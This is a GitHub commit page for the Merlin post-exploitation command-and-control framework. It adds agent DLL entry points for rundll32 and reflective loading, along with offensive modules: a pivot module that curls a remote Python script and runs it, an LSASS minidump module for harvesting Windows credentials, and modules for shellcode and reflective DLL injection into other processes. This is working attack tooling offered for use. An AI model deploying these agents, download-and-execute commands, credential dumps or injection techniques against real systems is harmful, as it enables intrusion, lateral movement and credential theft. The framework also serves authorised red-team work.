Skip to content

Commit

Permalink
Merge branch 'dev'
Browse files Browse the repository at this point in the history
  • Loading branch information
Ne0nd0g committed Apr 11, 2019
2 parents ca24c53 + 52c36d2 commit 1b0ce52
Show file tree
Hide file tree
Showing 35 changed files with 3,732 additions and 586 deletions.
21 changes: 21 additions & 0 deletions Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
FROM golang:stretch
MAINTAINER @audibleblink

# Build the Docker image first
# > sudo docker build -t merlin .

# To just generate Merlin binaries, run the following and check your `src` folder for the output
# > sudo docker run --rm --mount type=bind,src=/tmp,dst=/go/src/github.com/Ne0nd0g/merlin/data/temp merlin make linux
# > ls /tmp/v0.6.4.BETA

# To start the Merlin Server, run
# > sudo docker run -it -p 443:443 merlin


RUN apt-get update && apt-get install -y git make
RUN go get github.com/Ne0nd0g/merlin/...

WORKDIR $GOPATH/src/github.com/Ne0nd0g/merlin
VOLUME ["data/temp"]
EXPOSE 443
CMD ["go", "run", "cmd/merlinserver/main.go", "-i", "0.0.0.0"]
12 changes: 8 additions & 4 deletions Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -9,8 +9,11 @@ PASSWORD=merlin
BUILD=$(shell git rev-parse HEAD)
DIR=data/temp/v${VERSION}/${BUILD}
BIN=data/bin/
LDFLAGS=-ldflags "-s -w -X main.build=${BUILD} -X github.com/Ne0nd0g/merlin/pkg/agent.build=${BUILD}"
WINAGENTLDFLAGS=-ldflags "-s -w -X main.build=${BUILD} -X github.com/Ne0nd0g/merlin/pkg/agent.build=${BUILD} -H=windowsgui"
XBUILD=-X main.build=${BUILD} -X github.com/Ne0nd0g/merlin/pkg/agent.build=${BUILD}
URL ?= https://127.0.0.1:443
XURL=-X main.url=${URL}
LDFLAGS=-ldflags "-s -w ${XBUILD} ${XURL}"
WINAGENTLDFLAGS=-ldflags "-s -w ${XBUILD} ${XURL} -H=windowsgui"
PACKAGE=7za a -p${PASSWORD} -mhe -mx=9
F=README.MD LICENSE data/modules docs data/README.MD data/agents/README.MD data/db/ data/log/README.MD data/x509 data/src data/bin data/html
F2=LICENSE
Expand Down Expand Up @@ -51,10 +54,10 @@ server-windows:
agent-windows:
export GOOS=windows GOARCH=amd64;go build ${WINAGENTLDFLAGS} -o ${DIR}/${MAGENT}-${W}.exe cmd/merlinagent/main.go

# Compile Agent - Windows x64 DLL
# Compile Agent - Windows x64 DLL - main() - Console
agent-dll:
export GOOS=windows GOARCH=amd64 CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ CGO_ENABLED=1; \
go build -buildmode=c-archive -o ${DIR}/main.a cmd/merlinagentdll/main.go; \
go build ${LDFLAGS} -buildmode=c-archive -o ${DIR}/main.a cmd/merlinagentdll/main.go; \
cp data/bin/dll/merlin.c ${DIR}; \
x86_64-w64-mingw32-gcc -shared -pthread -o ${DIR}/merlin.dll ${DIR}/merlin.c ${DIR}/main.a -lwinmm -lntdll -lws2_32

Expand Down Expand Up @@ -86,6 +89,7 @@ agent-darwin:
agent-javascript:
sed -i 's/var build = ".*"/var build = "${BUILD}"/' data/html/scripts/merlin.js
sed -i 's/var version = ".*"/var version = "${VERSION}"/' data/html/scripts/merlin.js
sed -i 's|var url = ".*"|var url = "${URL}"|' data/html/scripts/merlin.js

# Make directory 'data' and then agents, db, log, x509; Copy src folder, README, and requirements
package-server-windows:
Expand Down
17 changes: 10 additions & 7 deletions README.MD
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,6 @@
[![License: GPL v3](https://img.shields.io/badge/License-GPL%20v3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
[![Release](https://img.shields.io/github/release/Ne0nd0g/merlin.svg)](https://github.com/Ne0nd0g/merlin/releases/latest)
[![Downloads](https://img.shields.io/github/downloads/Ne0nd0g/merlin/total.svg)](https://github.com/Ne0nd0g/merlin/releases)
[![Slack](https://img.shields.io/badge/Slack-Sign--Up-blue.svg)](https://communityinviter.com/apps/merlin-go/merlin)
[![Twitter Follow](https://img.shields.io/twitter/follow/merlin_c2.svg?style=social&label=Follow)](https://twitter.com/merlin_c2)

# Merlin (BETA)
Expand All @@ -22,7 +21,7 @@ https://medium.com/@Ne0nd0g/introducing-merlin-645da3c635a
[![asciicast](https://asciinema.org/a/166722.png)](https://asciinema.org/a/166722?speed=2)

## Quick Start
1. Download the latest version of Merlin Server from the [releases](https://github.com/Ne0nd0g/merlin/releases) section
1. Download the latest compiled version of Merlin Server from the [releases](https://github.com/Ne0nd0g/merlin/releases) section
2. Extract the files with 7zip using the `x` function. **The password is: `merlin`**
3. Start Merlin
4. Deploy an agent. See [Agent Execution Quick Start Guide](https://github.com/Ne0nd0g/merlin/wiki/Agent-Execution-Quick-Start-Guide) for examples
Expand All @@ -36,6 +35,7 @@ sudo ./merlinServer-Linux-x64
```

## Misc.
* The latest development build of Merlin can be downloaded from [AppVeyor](https://ci.appveyor.com/project/Ne0nd0g/merlin-i9c58/build/artifacts)
* To compile Merlin from source, view the [Building or Running from Source](https://github.com/Ne0nd0g/merlin/wiki/Building-or-Running-from-Source) wiki page
* For a full list of available commands view the [Main Menu](https://github.com/Ne0nd0g/merlin/wiki/Merlin-Server-Main-Menu), [Agent Menu](https://github.com/Ne0nd0g/merlin/wiki/Merlin-Server-Agent-Menu), and [Module Menu](https://github.com/Ne0nd0g/merlin/wiki/Merlin-Server-Module-Menu) wiki pages
* View the [FAQ](https://github.com/Ne0nd0g/merlin/wiki/FAQ) wiki page for Frequently Asked Questions
Expand All @@ -50,6 +50,8 @@ sudo ./merlinServer-Linux-x64
The IP address of the interface to bind to (default "0.0.0.0")
-p int
Merlin Server Port (default 443)
-proto string
Protocol for the agent to connect with [h2, hq] (default "h2")
-v Enable verbose output
-x509cert string
The x509 certificate for the HTTPS listener (default "C:\\Merlin\\data\\x509\\server.crt")
Expand All @@ -62,16 +64,17 @@ sudo ./merlinServer-Linux-x64
```
-debug
Enable debug output
-proto string
Protocol for the agent to connect with [h2, hq] (default "h2")
-sleep duration
Time for agent to sleep (default 10s)
-skew int
Variable time skew for agent to sleep
-url string
Full URL for agent to connect to (default "https://127.0.0.1:443")
-v Enable verbose output
-version
Print the agent version and exit
```

## TLS Certificates
### **`WARNING: You should generate your own TLS certificates and replace the default certificates that ship with Merlin`**
## Slack

To facilitate ease of use, a TLS X.509 private and public certificate is distributed with Merlin. This allows a user to start using Merlin right away. However, this key is widely distributed and is considered public knowledge. You should generate your own certificates and replace the default certificates that ship with Merlin. The default location for the certificates is the `data/x509` directory. The `openssl` command can be used from a Linux system to generate a key pair.
Join the `#merlin` channel in the [BloodHoundGang](https://bloodhoundgang.herokuapp.com/) Slack to chat about Merlin
2 changes: 1 addition & 1 deletion cmd/merlinagent/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -33,7 +33,7 @@ import (
)

// GLOBAL VARIABLES
var url = "https://127.0.0.1:443/"
var url = "https://127.0.0.1:443"
var build = "nonRelease"

func main() {
Expand Down
20 changes: 13 additions & 7 deletions cmd/merlinagentdll/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -28,7 +28,7 @@ import (
"github.com/Ne0nd0g/merlin/pkg/agent"
)

var url = "https://127.0.0.1:443/"
var url = "https://127.0.0.1:443"

func main() {}

Expand All @@ -41,9 +41,10 @@ func run(URL string) {
// EXPORTED FUNCTIONS

//export Run
// Run is the main function used to start the Merlin agent taking 1 argument for the Merlin server's address
// Run is designed to work with rundll32.exe to execute a Merlin agent.
// The function will process the command line arguments in spot 3 for an optional URL to connect to
func Run() {
// If using rundll32 spot 0 is "rundll32", spot 1 is "merlin.dll,VoidFunc"
// If using rundll32 spot 0 is "rundll32", spot 1 is "merlin.dll,Run"
if len(os.Args) >= 3 {
if strings.HasPrefix(strings.ToLower(os.Args[0]), "rundll32") {
url = os.Args[2]
Expand Down Expand Up @@ -72,10 +73,15 @@ func DllRegisterServer() { run(url) }
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms691457(v=vs.85).aspx
func DllUnregisterServer() { run(url) }

//export ReflectiveLoader
// ReflectiveLoader is used when calling Metasploit's windows/manage/reflective_dll_inject module.
// This is broken and causes the process to crash
func ReflectiveLoader() { run(url) }
//export Merlin
// Merlin is an exported function that takes in a C *char, converts it to a string, and executes it.
// Intended to be used with DLL loading
func Merlin(u *C.char) {
if len(C.GoString(u)) > 0 {
url = C.GoString(u)
}
run(url)
}

// TODO add entry point of 0 (yes a zero) for use with Metasploit's windows/smb/smb_delivery
// TODO move exported functions to merlin.c to handle them properly and only export Run()
11 changes: 8 additions & 3 deletions cmd/merlinserver/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -20,6 +20,7 @@ package main
import (
// Standard
"flag"
"os"
"path/filepath"

// 3rd Party
Expand All @@ -38,7 +39,7 @@ import (
var build = "nonRelease"

func main() {
logging.Server("Starting Merlin Server")
logging.Server("Starting Merlin Server version " + merlin.Version + " build " + merlin.Build)

flag.BoolVar(&core.Verbose, "v", false, "Enable verbose output")
flag.BoolVar(&core.Debug, "debug", false, "Enable debug output")
Expand All @@ -56,10 +57,11 @@ func main() {
color.Blue("Version: " + merlin.Version)
color.Blue("Build: " + build)
flag.PrintDefaults()
os.Exit(0)
}
flag.Parse()

color.Blue(banner.Banner1)
color.Blue(banner.MerlinBanner1)
color.Blue("\t\t Version: %s", merlin.Version)
color.Blue("\t\t Build: %s", build)

Expand All @@ -71,7 +73,10 @@ func main() {
if err != nil {
color.Red(err.Error())
} else {
server.Run()
err := server.Run()
if err != nil {
color.Red("[!]There was an error starting the server")
}
}
}

Expand Down
42 changes: 40 additions & 2 deletions data/bin/dll/merlin.c
Original file line number Diff line number Diff line change
@@ -1,7 +1,45 @@
#include <windows.h>
#include <stdio.h>
#include "main.h"

int main() {
Run();
// https://docs.microsoft.com/en-us/windows/desktop/dlls/dynamic-link-library-entry-point-function

BOOL WINAPI DllMain(
HINSTANCE hinstDLL, // handle to DLL module
DWORD fdwReason, // reason for calling function
LPVOID lpReserved ) // reserved
{
// Perform actions based on the reason for calling.
switch( fdwReason )
{
case DLL_PROCESS_ATTACH:
// Initialize once for each new process.
// Return FALSE to fail DLL load.
// printf("[+] Hello from DllMain-PROCESS_ATTACH in Merlin\n");
// MessageBoxA( NULL, "Hello from DllMain-PROCESS_ATTACH in Merlin!", "Reflective Dll Injection", MB_OK );
break;

case DLL_THREAD_ATTACH:
// Do thread-specific initialization.
// MessageBoxA( NULL, "Hello from DllMain-PROCESS_ATTACH in Merlin!", "Reflective Dll Injection", MB_OK );
break;

case DLL_THREAD_DETACH:
// Do thread-specific cleanup.
break;

case DLL_PROCESS_DETACH:
// Perform any necessary cleanup.
break;
}
return TRUE; // Successful DLL_PROCESS_ATTACH.
}

// Magic is the exported function name that can be called from sRDI to launch a Merlin agent
// There must be a call to an exported function from cmd/merlinagentdll/main.go so that the export functions are available
// Any exported function from cmd/merlinagentdll/main.go can be called directly without the need to include it here
int Magic(char *url){
// Run Merlin Agent
Merlin(url);
return 0;
}
30 changes: 30 additions & 0 deletions data/modules/linux/x64/python/pivoting/arox.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
{
"base": {
"name": "AlmondRocks",
"type": "standard",
"author": ["Kevin Lustic"],
"path": ["linux", "x64", "python", "pivoting", "arox.json"],
"platform": "linux",
"arch": "x64",
"lang": "python",
"privilege": false,
"remote": "https://gist.githubusercontent.com/klustic/14efac58264f5a3f082f8b2731b21c93/raw/459c81af93f78c8f155cbcf16e145d4be62da972/arox.py",
"options": [
{"name": "host", "value": "", "required": true, "description":"The AlmondRocks server, specified as <IP|Domain>:<Port>"}
],
"description": "AlmondRocks (arox) connects out to a public-facing server to tunnel SOCKSv5-wrapped comms in.",
"notes": "https://github.com/klustic/AlmondRocks",
"commands": [
"/bin/bash",
"-c",
"\"curl -vk -Lo /tmp/arox.py https://gist.githubusercontent.com/klustic/14efac58264f5a3f082f8b2731b21c93/raw/459c81af93f78c8f155cbcf16e145d4be62da972/arox.py; /usr/bin/python /tmp/arox.py {{host}} &\";"
]
},
"additionalInstructions": {
"Setup": [
"1. Download AlmondRocks server to a publicly accessible host: https://github.com/klustic/AlmondRocks",
"2. Follow the README for AlmondRocks to setup the server"
],
"Comments": "The additionalInstructions tag is ignored by Merlin and are for user consumption only."
}
}
22 changes: 22 additions & 0 deletions data/modules/windows/x64/go/credentials/minidump.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
{
"base": {
"name": "Minidump",
"type": "extended",
"author": ["Cameron Stokes (@C__Sto)"],
"credits": [""],
"path": ["windows", "x64", "go", "credentials", "minidump.json"],
"platform": "WINDOWS",
"arch": "x64",
"lang": "Go",
"privilege": true,
"remote": "",
"local": [""],
"options": [
{"name": "process", "value": "lsass.exe", "required": true, "flag": "", "description":"Name of the process to obtain a minidump of. If multiple processes exist with this name, it's likely the lowest PID will be used."},
{"name": "pid", "value": "0", "required": false, "flag": "", "description":"Specific PID to dump. Will ignore process name if this value is set to anything except 0."},
{"name": "tempLocation", "value": "", "required": false, "flag":"", "description": "A directory where the minidump temporary file will be written. The file is removed immediately after process dumping is complete. If a path is not provided, the first non-empty value from %TMP%, %TEMP%, %USERPROFILE%, or the Windows directory is used."}
],
"description": "Calls Windows MiniDumpWriteDump API on the provided process, dumps out to a temporary file and uploads the minidump file to the Merlin server.",
"notes": "Written in native go - the only disk access is when writing out the file to the temp location. Must be elevated to run, and automatically sets the correct token privileges required to access other processes memory..\r\n\r\nUse \"sekurlsa::minidump dumpfile.dmp\" \"sekurlsa::logonPasswords full\" on the same OS/arch to parse the dump file"
}
}
25 changes: 25 additions & 0 deletions data/modules/windows/x64/go/exec/sRDI.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
{
"base": {
"name": "sRDI",
"type": "extended",
"author": ["Russel Van Tuyl (@Ne0nd0g)"],
"credits": ["Matthew Graeber (@mattifestation)","Leo Loobeek", "Nick Landers (@monoxgas)", "Dan Staples", "Stephen Fewer"],
"path": ["windows", "x64", "go", "exec", "sRDI.json"],
"platform": "WINDOWS",
"arch": "x64",
"lang": "Go",
"privilege": false,
"remote": "",
"local": [""],
"options": [
{"name": "dll", "value": "", "required": true, "flag": "", "description":"File path to the DLL to be conver to reflective shellcode"},
{"name": "clearHeader", "value": "false", "required": false, "flag": "", "description":"Set to true to clear the PE header from the resulting library that will be loaded into memory"},
{"name": "function", "value": "", "required": false, "flag":"", "description": "The name of the function to call after DllMain"},
{"name": "args", "value": "", "required": false, "flag": "", "description": "Arguments to be passed to the called DLL function"},
{"name": "pid", "value": "", "required": false, "flag": "", "description": "The Windows Process ID to inject the shellcode into"},
{"name": "method", "value": "self", "required": true, "flag": "", "description": "The method to execute the shellcode: self, remote, or RtlCreateUserThread"}
],
"description": "This module will convert the provided Windows DLL to position independent shellcode that will be reflectively loaded and executed in the target process",
"notes": "Based on the sRDI project at: https://github.com/monoxgas/sRDI"
}
}
22 changes: 22 additions & 0 deletions data/modules/windows/x64/go/exec/shellcodeInjection.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
{
"base": {
"name": "shellcodeInjection",
"type": "extended",
"author": ["Russel Van Tuyl (@Ne0nd0g)"],
"credits": [],
"path": ["windows", "x64", "go", "exec", "shellcodeInjection.json"],
"platform": "WINDOWS",
"arch": "x64",
"lang": "Go",
"privilege": false,
"remote": "",
"local": [""],
"options": [
{"name": "shellcode", "value": "", "required": true, "flag": "", "description":"Path to a raw binary file or a text file containing shellcode in either \\\\x90 OR 0x90 format"},
{"name": "pid", "value": "", "required": false, "flag": "", "description": "The Windows Process ID to inject the shellcode into"},
{"name": "method", "value": "self", "required": true, "flag": "", "description": "The method to execute the shellcode: self, remote, or RtlCreateUserThread"}
],
"description": "This module will read in shellcode and execute it using the provided method. Shellcode will be injected and executed into the provided PID if the method is NOT self",
"notes": "Shellcode itself, instead of a file path, can be set for the shellcode option so long as there are no spaces"
}
}
21 changes: 0 additions & 21 deletions data/x509/server.crt

This file was deleted.

Loading

0 comments on commit 1b0ce52

Please sign in to comment.